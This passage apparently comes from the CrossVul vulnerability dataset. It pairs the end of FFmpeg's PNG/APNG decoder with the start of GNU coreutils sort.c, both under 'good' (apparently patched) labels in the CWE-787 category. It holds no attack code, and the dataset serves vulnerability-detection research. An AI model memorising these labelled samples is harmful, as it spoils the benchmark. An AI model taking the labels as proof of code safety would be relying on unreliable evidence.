s->palette[foreground[0]] >> 24; background_alpha = s->palette[background[0]] >> 24; break; } if (foreground_alpha == 0) continue; if (foreground_alpha == 255) { memcpy(background, foreground, s->bpp); continue; } if (avctx->pix_fmt == AV_PIX_FMT_PAL8) { // TODO: Alpha blending with PAL8 will likely need the entire image converted over to RGBA first avpriv_request_sample(avctx, "Alpha blending palette samples"); background[0] = foreground[0]; continue; } output_alpha = foreground_alpha + FAST_DIV255((255 - foreground_alpha) * background_alpha); av_assert0(s->bpp <= 10); for (b = 0; b < s->bpp - 1; ++b) { if (output_alpha == 0) { output[b] = 0; } else if (background_alpha == 255) { output[b] = FAST_DIV255(foreground_alpha * foreground[b] + (255 - foreground_alpha) * background[b]); } else { output[b] = (255 * foreground_alpha * foreground[b] + (255 - foreground_alpha) * background_alpha * background[b]) / (255 * output_alpha); } } output[b] = output_alpha; memcpy(background, output, s->bpp); } } } // Copy blended buffer into the frame and free memcpy(p->data[0], buffer, s->image_linesize * s->height); av_free(buffer); return 0; } static int decode_frame_common(AVCodecContext *avctx, PNGDecContext *s, AVFrame *p, AVPacket *avpkt) { AVDictionary *metadata = NULL; uint32_t tag, length; int decode_next_dat = 0; int ret; for (;;) { length = bytestream2_get_bytes_left(&s->gb); if (length <= 0) { if (avctx->codec_id == AV_CODEC_ID_PNG && avctx->skip_frame == AVDISCARD_ALL) { av_frame_set_metadata(p, metadata); return 0; } if (CONFIG_APNG_DECODER && avctx->codec_id == AV_CODEC_ID_APNG && length == 0) { if (!(s->state & PNG_IDAT)) return 0; else goto exit_loop; } av_log(avctx, AV_LOG_ERROR, "%d bytes left\n", length); if ( s->state & PNG_ALLIMAGE && avctx->strict_std_compliance <= FF_COMPLIANCE_NORMAL) goto exit_loop; ret = AVERROR_INVALIDDATA; goto fail; } length = bytestream2_get_be32(&s->gb); if (length > 0x7fffffff || length > bytestream2_get_bytes_left(&s->gb)) { av_log(avctx, AV_LOG_ERROR, "chunk too big\n"); ret = AVERROR_INVALIDDATA; goto fail; } tag = bytestream2_get_le32(&s->gb); if (avctx->debug & FF_DEBUG_STARTCODE) av_log(avctx, AV_LOG_DEBUG, "png: tag=%c%c%c%c length=%u\n", (tag & 0xff), ((tag >> 8) & 0xff), ((tag >> 16) & 0xff), ((tag >> 24) & 0xff), length); if (avctx->codec_id == AV_CODEC_ID_PNG && avctx->skip_frame == AVDISCARD_ALL) { switch(tag) { case MKTAG('I', 'H', 'D', 'R'): case MKTAG('p', 'H', 'Y', 's'): case MKTAG('t', 'E', 'X', 't'): case MKTAG('I', 'D', 'A', 'T'): case MKTAG('t', 'R', 'N', 'S'): break; default: goto skip_tag; } } switch (tag) { case MKTAG('I', 'H', 'D', 'R'): if ((ret = decode_ihdr_chunk(avctx, s, length)) < 0) goto fail; break; case MKTAG('p', 'H', 'Y', 's'): if ((ret = decode_phys_chunk(avctx, s)) < 0) goto fail; break; case MKTAG('f', 'c', 'T', 'L'): if (!CONFIG_APNG_DECODER || avctx->codec_id != AV_CODEC_ID_APNG) goto skip_tag; if ((ret = decode_fctl_chunk(avctx, s, length)) < 0) goto fail; decode_next_dat = 1; break; case MKTAG('f', 'd', 'A', 'T'): if (!CONFIG_APNG_DECODER || avctx->codec_id != AV_CODEC_ID_APNG) goto skip_tag; if (!decode_next_dat) { ret = AVERROR_INVALIDDATA; goto fail; } bytestream2_get_be32(&s->gb); length -= 4; /* fallthrough */ case MKTAG('I', 'D', 'A', 'T'): if (CONFIG_APNG_DECODER && avctx->codec_id == AV_CODEC_ID_APNG && !decode_next_dat) goto skip_tag; if ((ret = decode_idat_chunk(avctx, s, length, p)) < 0) goto fail; break; case MKTAG('P', 'L', 'T', 'E'): if (decode_plte_chunk(avctx, s, length) < 0) goto skip_tag; break; case MKTAG('t', 'R', 'N', 'S'): if (decode_trns_chunk(avctx, s, length) < 0) goto skip_tag; break; case MKTAG('t', 'E', 'X', 't'): if (decode_text_chunk(s, length, 0, &metadata) < 0) av_log(avctx, AV_LOG_WARNING, "Broken tEXt chunk\n"); bytestream2_skip(&s->gb, length + 4); break; case MKTAG('z', 'T', 'X', 't'): if (decode_text_chunk(s, length, 1, &metadata) < 0) av_log(avctx, AV_LOG_WARNING, "Broken zTXt chunk\n"); bytestream2_skip(&s->gb, length + 4); break; case MKTAG('s', 'T', 'E', 'R'): { int mode = bytestream2_get_byte(&s->gb); AVStereo3D *stereo3d = av_stereo3d_create_side_data(p); if (!stereo3d) goto fail; if (mode == 0 || mode == 1) { stereo3d->type = AV_STEREO3D_SIDEBYSIDE; stereo3d->flags = mode ? 0 : AV_STEREO3D_FLAG_INVERT; } else { av_log(avctx, AV_LOG_WARNING, "Unknown value in sTER chunk (%d)\n", mode); } bytestream2_skip(&s->gb, 4); /* crc */ break; } case MKTAG('I', 'E', 'N', 'D'): if (!(s->state & PNG_ALLIMAGE)) av_log(avctx, AV_LOG_ERROR, "IEND without all image\n"); if (!(s->state & (PNG_ALLIMAGE|PNG_IDAT))) { ret = AVERROR_INVALIDDATA; goto fail; } bytestream2_skip(&s->gb, 4); /* crc */ goto exit_loop; default: /* skip tag */ skip_tag: bytestream2_skip(&s->gb, length + 4); break; } } exit_loop: if (avctx->codec_id == AV_CODEC_ID_PNG && avctx->skip_frame == AVDISCARD_ALL) { av_frame_set_metadata(p, metadata); return 0; } if (s->bits_per_pixel <= 4) handle_small_bpp(s, p); /* apply transparency if needed */ if (s->has_trns && s->color_type != PNG_COLOR_TYPE_PALETTE) { size_t byte_depth = s->bit_depth > 8 ? 2 : 1; size_t raw_bpp = s->bpp - byte_depth; unsigned x, y; av_assert0(s->bit_depth > 1); for (y = 0; y < s->height; ++y) { uint8_t *row = &s->image_buf[s->image_linesize * y]; /* since we're updating in-place, we have to go from right to left */ for (x = s->width; x > 0; --x) { uint8_t *pixel = &row[s->bpp * (x - 1)]; memmove(pixel, &row[raw_bpp * (x - 1)], raw_bpp); if (!memcmp(pixel, s->transparent_color_be, raw_bpp)) { memset(&pixel[raw_bpp], 0, byte_depth); } else { memset(&pixel[raw_bpp], 0xff, byte_depth); } } } } /* handle P-frames only if a predecessor frame is available */ if (s->last_picture.f->data[0]) { if ( !(avpkt->flags & AV_PKT_FLAG_KEY) && avctx->codec_tag != AV_RL32("MPNG") && s->last_picture.f->width == p->width && s->last_picture.f->height== p->height && s->last_picture.f->format== p->format ) { if (CONFIG_PNG_DECODER && avctx->codec_id != AV_CODEC_ID_APNG) handle_p_frame_png(s, p); else if (CONFIG_APNG_DECODER && avctx->codec_id == AV_CODEC_ID_APNG && (ret = handle_p_frame_apng(avctx, s, p)) < 0) goto fail; } } ff_thread_report_progress(&s->picture, INT_MAX, 0); ff_thread_report_progress(&s->previous_picture, INT_MAX, 0); av_frame_set_metadata(p, metadata); metadata = NULL; return 0; fail: av_dict_free(&metadata); ff_thread_report_progress(&s->picture, INT_MAX, 0); ff_thread_report_progress(&s->previous_picture, INT_MAX, 0); return ret; } #if CONFIG_PNG_DECODER static int decode_frame_png(AVCodecContext *avctx, void *data, int *got_frame, AVPacket *avpkt) { PNGDecContext *const s = avctx->priv_data; const uint8_t *buf = avpkt->data; int buf_size = avpkt->size; AVFrame *p; int64_t sig; int ret; ff_thread_release_buffer(avctx, &s->last_picture); FFSWAP(ThreadFrame, s->picture, s->last_picture); p = s->picture.f; bytestream2_init(&s->gb, buf, buf_size); /* check signature */ sig = bytestream2_get_be64(&s->gb); if (sig != PNGSIG && sig != MNGSIG) { av_log(avctx, AV_LOG_ERROR, "Invalid PNG signature 0x%08"PRIX64".\n", sig); return AVERROR_INVALIDDATA; } s->y = s->state = s->has_trns = 0; /* init the zlib */ s->zstream.zalloc = ff_png_zalloc; s->zstream.zfree = ff_png_zfree; s->zstream.opaque = NULL; ret = inflateInit(&s->zstream); if (ret != Z_OK) { av_log(avctx, AV_LOG_ERROR, "inflateInit returned error %d\n", ret); return AVERROR_EXTERNAL; } if ((ret = decode_frame_common(avctx, s, p, avpkt)) < 0) goto the_end; if (avctx->skip_frame == AVDISCARD_ALL) { *got_frame = 0; ret = bytestream2_tell(&s->gb); goto the_end; } if ((ret = av_frame_ref(data, s->picture.f)) < 0) return ret; *got_frame = 1; ret = bytestream2_tell(&s->gb); the_end: inflateEnd(&s->zstream); s->crow_buf = NULL; return ret; } #endif #if CONFIG_APNG_DECODER static int decode_frame_apng(AVCodecContext *avctx, void *data, int *got_frame, AVPacket *avpkt) { PNGDecContext *const s = avctx->priv_data; int ret; AVFrame *p; ff_thread_release_buffer(avctx, &s->last_picture); FFSWAP(ThreadFrame, s->picture, s->last_picture); p = s->picture.f; if (!(s->state & PNG_IHDR)) { if (!avctx->extradata_size) return AVERROR_INVALIDDATA; /* only init fields, there is no zlib use in extradata */ s->zstream.zalloc = ff_png_zalloc; s->zstream.zfree = ff_png_zfree; bytestream2_init(&s->gb, avctx->extradata, avctx->extradata_size); if ((ret = decode_frame_common(avctx, s, p, avpkt)) < 0) goto end; } /* reset state for a new frame */ if ((ret = inflateInit(&s->zstream)) != Z_OK) { av_log(avctx, AV_LOG_ERROR, "inflateInit returned error %d\n", ret); ret = AVERROR_EXTERNAL; goto end; } s->y = 0; s->state &= ~(PNG_IDAT | PNG_ALLIMAGE); bytestream2_init(&s->gb, avpkt->data, avpkt->size); if ((ret = decode_frame_common(avctx, s, p, avpkt)) < 0) goto end; if (!(s->state & PNG_ALLIMAGE)) av_log(avctx, AV_LOG_WARNING, "Frame did not contain a complete image\n"); if (!(s->state & (PNG_ALLIMAGE|PNG_IDAT))) { ret = AVERROR_INVALIDDATA; goto end; } if ((ret = av_frame_ref(data, s->picture.f)) < 0) goto end; *got_frame = 1; ret = bytestream2_tell(&s->gb); end: inflateEnd(&s->zstream); return ret; } #endif #if HAVE_THREADS static int update_thread_context(AVCodecContext *dst, const AVCodecContext *src) { PNGDecContext *psrc = src->priv_data; PNGDecContext *pdst = dst->priv_data; int ret; if (dst == src) return 0; ff_thread_release_buffer(dst, &pdst->picture); if (psrc->picture.f->data[0] && (ret = ff_thread_ref_frame(&pdst->picture, &psrc->picture)) < 0) return ret; if (CONFIG_APNG_DECODER && dst->codec_id == AV_CODEC_ID_APNG) { pdst->width = psrc->width; pdst->height = psrc->height; pdst->bit_depth = psrc->bit_depth; pdst->color_type = psrc->color_type; pdst->compression_type = psrc->compression_type; pdst->interlace_type = psrc->interlace_type; pdst->filter_type = psrc->filter_type; pdst->cur_w = psrc->cur_w; pdst->cur_h = psrc->cur_h; pdst->x_offset = psrc->x_offset; pdst->y_offset = psrc->y_offset; pdst->has_trns = psrc->has_trns; memcpy(pdst->transparent_color_be, psrc->transparent_color_be, sizeof(pdst->transparent_color_be)); pdst->dispose_op = psrc->dispose_op; memcpy(pdst->palette, psrc->palette, sizeof(pdst->palette)); pdst->state |= psrc->state & (PNG_IHDR | PNG_PLTE); ff_thread_release_buffer(dst, &pdst->last_picture); if (psrc->last_picture.f->data[0] && (ret = ff_thread_ref_frame(&pdst->last_picture, &psrc->last_picture)) < 0) return ret; ff_thread_release_buffer(dst, &pdst->previous_picture); if (psrc->previous_picture.f->data[0] && (ret = ff_thread_ref_frame(&pdst->previous_picture, &psrc->previous_picture)) < 0) return ret; } return 0; } #endif static av_cold int png_dec_init(AVCodecContext *avctx) { PNGDecContext *s = avctx->priv_data; avctx->color_range = AVCOL_RANGE_JPEG; s->avctx = avctx; s->previous_picture.f = av_frame_alloc(); s->last_picture.f = av_frame_alloc(); s->picture.f = av_frame_alloc(); if (!s->previous_picture.f || !s->last_picture.f || !s->picture.f) { av_frame_free(&s->previous_picture.f); av_frame_free(&s->last_picture.f); av_frame_free(&s->picture.f); return AVERROR(ENOMEM); } if (!avctx->internal->is_copy) { avctx->internal->allocate_progress = 1; ff_pngdsp_init(&s->dsp); } return 0; } static av_cold int png_dec_end(AVCodecContext *avctx) { PNGDecContext *s = avctx->priv_data; ff_thread_release_buffer(avctx, &s->previous_picture); av_frame_free(&s->previous_picture.f); ff_thread_release_buffer(avctx, &s->last_picture); av_frame_free(&s->last_picture.f); ff_thread_release_buffer(avctx, &s->picture); av_frame_free(&s->picture.f); av_freep(&s->buffer); s->buffer_size = 0; av_freep(&s->last_row); s->last_row_size = 0; av_freep(&s->tmp_row); s->tmp_row_size = 0; return 0; } #if CONFIG_APNG_DECODER AVCodec ff_apng_decoder = { .name = "apng", .long_name = NULL_IF_CONFIG_SMALL("APNG (Animated Portable Network Graphics) image"), .type = AVMEDIA_TYPE_VIDEO, .id = AV_CODEC_ID_APNG, .priv_data_size = sizeof(PNGDecContext), .init = png_dec_init, .close = png_dec_end, .decode = decode_frame_apng, .init_thread_copy = ONLY_IF_THREADS_ENABLED(png_dec_init), .update_thread_context = ONLY_IF_THREADS_ENABLED(update_thread_context), .capabilities = AV_CODEC_CAP_DR1 | AV_CODEC_CAP_FRAME_THREADS /*| AV_CODEC_CAP_DRAW_HORIZ_BAND*/, }; #endif #if CONFIG_PNG_DECODER AVCodec ff_png_decoder = { .name = "png", .long_name = NULL_IF_CONFIG_SMALL("PNG (Portable Network Graphics) image"), .type = AVMEDIA_TYPE_VIDEO, .id = AV_CODEC_ID_PNG, .priv_data_size = sizeof(PNGDecContext), .init = png_dec_init, .close = png_dec_end, .decode = decode_frame_png, .init_thread_copy = ONLY_IF_THREADS_ENABLED(png_dec_init), .update_thread_context = ONLY_IF_THREADS_ENABLED(update_thread_context), .capabilities = AV_CODEC_CAP_DR1 | AV_CODEC_CAP_FRAME_THREADS /*| AV_CODEC_CAP_DRAW_HORIZ_BAND*/, .caps_internal = FF_CODEC_CAP_SKIP_FRAME_FILL_PARAM, }; #endif
./CrossVul/dataset_final_sorted/CWE-787/c/good_3296_0
crossvul-cpp_data_good_1619_0
/* sort - sort lines of text (with all kinds of options). Copyright (C) 1988-2014 Free Software Foundation, Inc. This program is free software: you can redistribute it and/or modify it under the terms of the GNU General Public License as published by the Free Software Foundation, either version 3 of the License, or (at your option) any later version. This program is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU General Public License for more details. You should have received a copy of the GNU General Public License along with this program. If not, see <http://www.gnu.org/licenses/>. Written December 1988 by Mike Haertel. The author may be reached (Email) at the address mike@gnu.ai.mit.edu, or (US mail) as Mike Haertel c/o Free Software Foundation. Ørn E. Hansen added NLS support in 1997. */ #include <config.h> #include <getopt.h> #include <pthread.h> #include <sys/resource.h> #include <sys/types.h> #include <sys/wait.h> #include <signal.h> #include <assert.h> #if HAVE_WCHAR_H # include <wchar.h> #endif /* Get isw* functions. */ #if HAVE_WCTYPE_H # include <wctype.h> #endif #include "system.h" #include "argmatch.h" #include "error.h" #include "fadvise.h" #include "filevercmp.h" #include "hard-locale.h" #include "hash.h" #include "heap.h" #include "ignore-value.h" #include "md5.h" #include "mbswidth.h" #include "nproc.h" #include "physmem.h" #include "posixver.h" #include "quote.h" #include "quotearg.h" #include "randread.h" #include "readtokens0.h" #include "stdio--.h" #include "stdlib--.h" #include "strnumcmp.h" #include "xmemcoll.h" #include "xnanosleep.h" #include "xstrtol.h" #ifndef RLIMIT_DATA struct rlimit { size_t rlim_cur; }; # define getrlimit(Resource, Rlp) (-1) #endif /* The official name of this program (e.g., no 'g' prefix). */ #define PROGRAM_NAME "sort" #define AUTHORS \ proper_name ("Mike Haertel"), \ proper_name ("Paul Eggert") #if HAVE_LANGINFO_CODESET # include <langinfo.h> #endif /* Use SA_NOCLDSTOP as a proxy for whether the sigaction machinery is present. */ #ifndef SA_NOCLDSTOP # define SA_NOCLDSTOP 0 /* No sigprocmask. Always 'return' zero. */ # define sigprocmask(How, Set, Oset) (0) # define sigset_t int # if ! HAVE_SIGINTERRUPT # define siginterrupt(sig, flag) /* empty */ # endif #endif #if !defined OPEN_MAX && defined NR_OPEN # define OPEN_MAX NR_OPEN #endif #if !defined OPEN_MAX # define OPEN_MAX 20 #endif #define UCHAR_LIM (UCHAR_MAX + 1) #if HAVE_C99_STRTOLD # define long_double long double #else # define long_double double # undef strtold # define strtold strtod #endif #ifndef DEFAULT_TMPDIR # define DEFAULT_TMPDIR "/tmp" #endif /* Maximum number of lines to merge every time a NODE is taken from the merge queue. Node is at LEVEL in the binary merge tree, and is responsible for merging TOTAL lines. */ #define MAX_MERGE(total, level) (((total) >> (2 * ((level) + 1))) + 1) /* Heuristic value for the number of lines for which it is worth creating a subthread, during an internal merge sort. I.e., it is a small number of "average" lines for which sorting via two threads is faster than sorting via one on an "average" system. On a dual-core 2.0 GHz i686 system with 3GB of RAM and 2MB of L2 cache, a file containing 128K lines of gensort -a output is sorted slightly faster with --parallel=2 than with --parallel=1. By contrast, using --parallel=1 is about 10% faster than using --parallel=2 with a 64K-line input. */ enum { SUBTHREAD_LINES_HEURISTIC = 128 * 1024 }; verify (4 <= SUBTHREAD_LINES_HEURISTIC); /* The number of threads after which there are diminishing performance gains. */ enum { DEFAULT_MAX_THREADS = 8 }; /* Exit statuses. */ enum { /* POSIX says to exit with status 1 if invoked with -c and the input is not properly sorted. */ SORT_OUT_OF_ORDER = 1, /* POSIX says any other irregular exit must exit with a status code greater than 1. */ SORT_FAILURE = 2 }; enum { /* The number of times we should try to fork a compression process (we retry if the fork call fails). We don't _need_ to compress temp files, this is just to reduce disk access, so this number can be small. Each retry doubles in duration. */ MAX_FORK_TRIES_COMPRESS = 4, /* The number of times we should try to fork a decompression process. If we can't fork a decompression process, we can't sort, so this number should be big. Each retry doubles in duration. */ MAX_FORK_TRIES_DECOMPRESS = 9 }; enum { /* Level of the end-of-merge node, one level above the root. */ MERGE_END = 0, /* Level of the root node in merge tree. */ MERGE_ROOT = 1 }; /* The representation of the decimal point in the current locale. */ static int decimal_point; /* Thousands separator; if -1, then there isn't one. */ static int thousands_sep; /* True if -f is specified. */ static bool folding; /* Nonzero if the corresponding locales are hard. */ static bool hard_LC_COLLATE; #if HAVE_LANGINFO_CODESET static bool hard_LC_TIME; #endif #define NONZERO(x) ((x) != 0) /* get a multibyte character's byte length. */ #define GET_BYTELEN_OF_CHAR(LIM, PTR, MBLENGTH, STATE) \ do \ { \ wchar_t wc; \ mbstate_t state_bak; \ \ state_bak = STATE; \ mblength = mbrtowc (&wc, PTR, LIM - PTR, &STATE); \ \ switch (MBLENGTH) \ { \ case (size_t)-1: \ case (size_t)-2: \ STATE = state_bak; \ /* Fall through. */ \ case 0: \ MBLENGTH = 1; \ } \ } \ while (0) /* The kind of blanks for '-b' to skip in various options. */ enum blanktype { bl_start, bl_end, bl_both }; /* The character marking end of line. Default to \n. */ static char eolchar = '\n'; /* Lines are held in core as counted strings. */ struct line { char *text; /* Text of the line. */ size_t length; /* Length including final newline. */ char *keybeg; /* Start of first key. */ char *keylim; /* Limit of first key. */ }; /* Input buffers. */ struct buffer { char *buf; /* Dynamically allocated buffer, partitioned into 3 regions: - input data; - unused area; - an array of lines, in reverse order. */ size_t used; /* Number of bytes used for input data. */ size_t nlines; /* Number of lines in the line array. */ size_t alloc; /* Number of bytes allocated. */ size_t left; /* Number of bytes left from previous reads. */ size_t line_bytes; /* Number of bytes to reserve for each line. */ bool eof; /* An EOF has been read. */ }; /* Sort key. */ struct keyfield { size_t sword; /* Zero-origin 'word' to start at. */ size_t schar; /* Additional characters to skip. */ size_t eword; /* Zero-origin last 'word' of key. */ size_t echar; /* Additional characters in field. */ bool const *ignore; /* Boolean array of characters to ignore. */ char const *translate; /* Translation applied to characters. */ bool skipsblanks; /* Skip leading blanks when finding start. */ bool skipeblanks; /* Skip leading blanks when finding end. */ bool numeric; /* Flag for numeric comparison. Handle strings of digits with optional decimal point, but no exponential notation. */ bool random; /* Sort by random hash of key. */ bool general_numeric; /* Flag for general, numeric comparison. Handle numbers in exponential notation. */ bool human_numeric; /* Flag for sorting by human readable units with either SI or IEC prefixes. */ bool month; /* Flag for comparison by month name. */ bool reverse; /* Reverse the sense of comparison. */ bool version; /* sort by version number */ bool obsolete_used; /* obsolescent key option format is used. */ struct keyfield *next; /* Next keyfield to try. */ }; struct month { char const *name; int val; }; /* Binary merge tree node. */ struct merge_node { struct line *lo; /* Lines to merge from LO child node. */ struct line *hi; /* Lines to merge from HI child ndoe. */ struct line *end_lo; /* End of available lines from LO. */ struct line *end_hi; /* End of available lines from HI. */ struct line **dest; /* Pointer to destination of merge. */ size_t nlo; /* Total Lines remaining from LO. */ size_t nhi; /* Total lines remaining from HI. */ struct merge_node *parent; /* Parent node. */ struct merge_node *lo_child; /* LO child node. */ struct merge_node *hi_child; /* HI child node. */ unsigned int level; /* Level in merge tree. */ bool queued; /* Node is already in heap. */ pthread_mutex_t lock; /* Lock for node operations. */ }; /* Priority queue of merge nodes. */ struct merge_node_queue { struct heap *priority_queue; /* Priority queue of merge tree nodes. */ pthread_mutex_t mutex; /* Lock for queue operations. */ pthread_cond_t cond; /* Conditional wait for empty queue to populate when popping. */ }; /* Used to implement --unique (-u). */ static struct line saved_line; /* FIXME: None of these tables work with multibyte character sets. Also, there are many other bugs when handling multibyte characters. One way to fix this is to rewrite 'sort' to use wide characters internally, but doing this with good performance is a bit tricky. */ /* Table of blanks. */ static bool blanks[UCHAR_LIM]; /* Table of non-printing characters. */ static bool nonprinting[UCHAR_LIM]; /* Table of non-dictionary characters (not letters, digits, or blanks). */ static bool nondictionary[UCHAR_LIM]; /* Translation table folding lower case to upper. */ static char fold_toupper[UCHAR_LIM]; #define MONTHS_PER_YEAR 12 /* Table mapping month names to integers. Alphabetic order allows binary search. */ static struct month monthtab[] = { {"APR", 4}, {"AUG", 8}, {"DEC", 12}, {"FEB", 2}, {"JAN", 1}, {"JUL", 7}, {"JUN", 6}, {"MAR", 3}, {"MAY", 5}, {"NOV", 11}, {"OCT", 10}, {"SEP", 9} }; /* During the merge phase, the number of files to merge at once. */ #define NMERGE_DEFAULT 16 /* Minimum size for a merge or check buffer. */ #define MIN_MERGE_BUFFER_SIZE (2 + sizeof (struct line)) /* Minimum sort size; the code might not work with smaller sizes. */ #define MIN_SORT_SIZE (nmerge * MIN_MERGE_BUFFER_SIZE) /* The number of bytes needed for a merge or check buffer, which can function relatively efficiently even if it holds only one line. If a longer line is seen, this value is increased. */ static size_t merge_buffer_size = MAX (MIN_MERGE_BUFFER_SIZE, 256 * 1024); /* The approximate maximum number of bytes of main memory to use, as specified by the user. Zero if the user has not specified a size. */ static size_t sort_size; /* The initial allocation factor for non-regular files. This is used, e.g., when reading from a pipe. Don't make it too big, since it is multiplied by ~130 to obtain the size of the actual buffer sort will allocate. Also, there may be 8 threads all doing this at the same time. */ #define INPUT_FILE_SIZE_GUESS (128 * 1024) /* Array of directory names in which any temporary files are to be created. */ static char const **temp_dirs; /* Number of temporary directory names used. */ static size_t temp_dir_count; /* Number of allocated slots in temp_dirs. */ static size_t temp_dir_alloc; /* Flag to reverse the order of all comparisons. */ static bool reverse; /* Flag for stable sort. This turns off the last ditch bytewise comparison of lines, and instead leaves lines in the same order they were read if all keys compare equal. */ static bool stable; /* Tab character separating fields. If tab_length is 0, then fields are separated by the empty string between a non-blank character and a blank character. */ static char tab[MB_LEN_MAX + 1]; static size_t tab_length = 0; /* Flag to remove consecutive duplicate lines from the output. Only the last of a sequence of equal lines will be output. */ static bool unique; /* Nonzero if any of the input files are the standard input. */ static bool have_read_stdin; /* List of key field comparisons to be tried. */ static struct keyfield *keylist; /* Program used to (de)compress temp files. Must accept -d. */ static char const *compress_program; /* Annotate the output with extra info to aid the user. */ static bool debug; /* Maximum number of files to merge in one go. If more than this number are present, temp files will be used. */ static unsigned int nmerge = NMERGE_DEFAULT; /* Output an error to stderr using async-signal-safe routines, and _exit(). This can be used safely from signal handlers, and between fork() and exec() of multithreaded processes. */ static void async_safe_die (int, const char *) ATTRIBUTE_NORETURN; static void async_safe_die (int errnum, const char *errstr) { ignore_value (write (STDERR_FILENO, errstr, strlen (errstr))); /* Even if defined HAVE_STRERROR_R, we can't use it, as it may return a translated string etc. and even if not may malloc() which is unsafe. We might improve this by testing for sys_errlist and using that if available. For now just report the error number. */ if (errnum) { char errbuf[INT_BUFSIZE_BOUND (errnum)]; char *p = inttostr (errnum, errbuf); ignore_value (write (STDERR_FILENO, ": errno ", 8)); ignore_value (write (STDERR_FILENO, p, strlen (p))); } ignore_value (write (STDERR_FILENO, "\n", 1)); _exit (SORT_FAILURE); } /* Report MESSAGE for FILE, then clean up and exit. If FILE is null, it represents standard output. */ static void die (char const *, char const *) ATTRIBUTE_NORETURN; static void die (char const *message, char const *file) { error (0, errno, "%s: %s", message, file ? file : _("standard output")); exit (SORT_FAILURE); } void usage (int status) { if (status != EXIT_SUCCESS) emit_try_help (); else { printf (_("\ Usage: %s [OPTION]... [FILE]...\n\ or: %s [OPTION]... --files0-from=F\n\ "), program_name, program_name); fputs (_("\ Write sorted concatenation of all FILE(s) to standard output.\n\ "), stdout); emit_mandatory_arg_note (); fputs (_("\ Ordering options:\n\ \n\ "), stdout); fputs (_("\ -b, --ignore-leading-blanks ignore leading blanks\n\ -d, --dictionary-order consider only blanks and alphanumeric characters\ \n\ -f, --ignore-case fold lower case to upper case characters\n\ "), stdout); fputs (_("\ -g, --general-numeric-sort compare according to general numerical value\n\ -i, --ignore-nonprinting consider only printable characters\n\ -M, --month-sort compare (unknown) < 'JAN' < ... < 'DEC'\n\ "), stdout); fputs (_("\ -h, --human-numeric-sort compare human readable numbers (e.g., 2K 1G)\n\ "), stdout); fputs (_("\ -n, --numeric-sort compare according to string numerical value\n\ -R, --random-sort sort by random hash of keys\n\ --random-source=FILE get random bytes from FILE\n\ -r, --reverse reverse the result of comparisons\n\ "), stdout); fputs (_("\ --sort=WORD sort according to WORD:\n\ general-numeric -g, human-numeric -h, month -M,\ \n\ numeric -n, random -R, version -V\n\ -V, --version-sort natural sort of (version) numbers within text\n\ \n\ "), stdout); fputs (_("\ Other options:\n\ \n\ "), stdout); fputs (_("\ --batch-size=NMERGE merge at most NMERGE inputs at once;\n\ for more use temp files\n\ "), stdout); fputs (_("\ -c, --check, --check=diagnose-first check for sorted input; do not sort\n\ -C, --check=quiet, --check=silent like -c, but do not report first bad line\ \n\ --compress-program=PROG compress temporaries with PROG;\n\ decompress them with PROG -d\n\ "), stdout); fputs (_("\ --debug annotate the part of the line used to sort,\n\ and warn about questionable usage to stderr\n\ --files0-from=F read input from the files specified by\n\ NUL-terminated names in file F;\n\ If F is - then read names from standard input\n\ "), stdout); fputs (_("\ -k, --key=KEYDEF sort via a key; KEYDEF gives location and type\n\ -m, --merge merge already sorted files; do not sort\n\ "), stdout); fputs (_("\ -o, --output=FILE write result to FILE instead of standard output\n\ -s, --stable stabilize sort by disabling last-resort comparison\ \n\ -S, --buffer-size=SIZE use SIZE for main memory buffer\n\ "), stdout); printf (_("\ -t, --field-separator=SEP use SEP instead of non-blank to blank transition\n\ -T, --temporary-directory=DIR use DIR for temporaries, not $TMPDIR or %s;\n\ multiple options specify multiple directories\n\ --parallel=N change the number of sorts run concurrently to N\n\ -u, --unique with -c, check for strict ordering;\n\ without -c, output only the first of an equal run\ \n\ "), DEFAULT_TMPDIR); fputs (_("\ -z, --zero-terminated line delimiter is NUL, not newline\n\ "), stdout); fputs (HELP_OPTION_DESCRIPTION, stdout); fputs (VERSION_OPTION_DESCRIPTION, stdout); fputs (_("\ \n\ KEYDEF is F[.C][OPTS][,F[.C][OPTS]] for start and stop position, where F is a\n\ field number and C a character position in the field; both are origin 1, and\n\ the stop position defaults to the line's end. If neither -t nor -b is in\n\ effect, characters in a field are counted from the beginning of the preceding\n\ whitespace. OPTS is one or more single-letter ordering options [bdfgiMhnRrV],\ \n\ which override global ordering options for that key. If no key is given, use\n\ the entire line as the key.\n\ \n\ SIZE may be followed by the following multiplicative suffixes:\n\ "), stdout); fputs (_("\ % 1% of memory, b 1, K 1024 (default), and so on for M, G, T, P, E, Z, Y.\n\ \n\ With no FILE, or when FILE is -, read standard input.\n\ \n\ *** WARNING ***\n\ The locale specified by the environment affects sort order.\n\ Set LC_ALL=C to get the traditional sort order that uses\n\ native byte values.\n\ "), stdout ); emit_ancillary_info (); } exit (status); } /* For long options that have no equivalent short option, use a non-character as a pseudo short option, starting with CHAR_MAX + 1. */ enum { CHECK_OPTION = CHAR_MAX + 1, COMPRESS_PROGRAM_OPTION, DEBUG_PROGRAM_OPTION, FILES0_FROM_OPTION, NMERGE_OPTION, RANDOM_SOURCE_OPTION, SORT_OPTION, PARALLEL_OPTION }; static char const short_options[] = "-bcCdfghik:mMno:rRsS:t:T:uVy:z"; static struct option const long_options[] = { {"ignore-leading-blanks", no_argument, NULL, 'b'}, {"check", optional_argument, NULL, CHECK_OPTION}, {"compress-program", required_argument, NULL, COMPRESS_PROGRAM_OPTION}, {"debug", no_argument, NULL, DEBUG_PROGRAM_OPTION}, {"dictionary-order", no_argument, NULL, 'd'}, {"ignore-case", no_argument, NULL, 'f'}, {"files0-from", required_argument, NULL, FILES0_FROM_OPTION}, {"general-numeric-sort", no_argument, NULL, 'g'}, {"ignore-nonprinting", no_argument, NULL, 'i'}, {"key", required_argument, NULL, 'k'}, {"merge", no_argument, NULL, 'm'}, {"month-sort", no_argument, NULL, 'M'}, {"numeric-sort", no_argument, NULL, 'n'}, {"human-numeric-sort", no_argument, NULL, 'h'}, {"version-sort", no_argument, NULL, 'V'}, {"random-sort", no_argument, NULL, 'R'}, {"random-source", required_argument, NULL, RANDOM_SOURCE_OPTION}, {"sort", required_argument, NULL, SORT_OPTION}, {"output", required_argument, NULL, 'o'}, {"reverse", no_argument, NULL, 'r'}, {"stable", no_argument, NULL, 's'}, {"batch-size", required_argument, NULL, NMERGE_OPTION}, {"buffer-size", required_argument, NULL, 'S'}, {"field-separator", required_argument, NULL, 't'}, 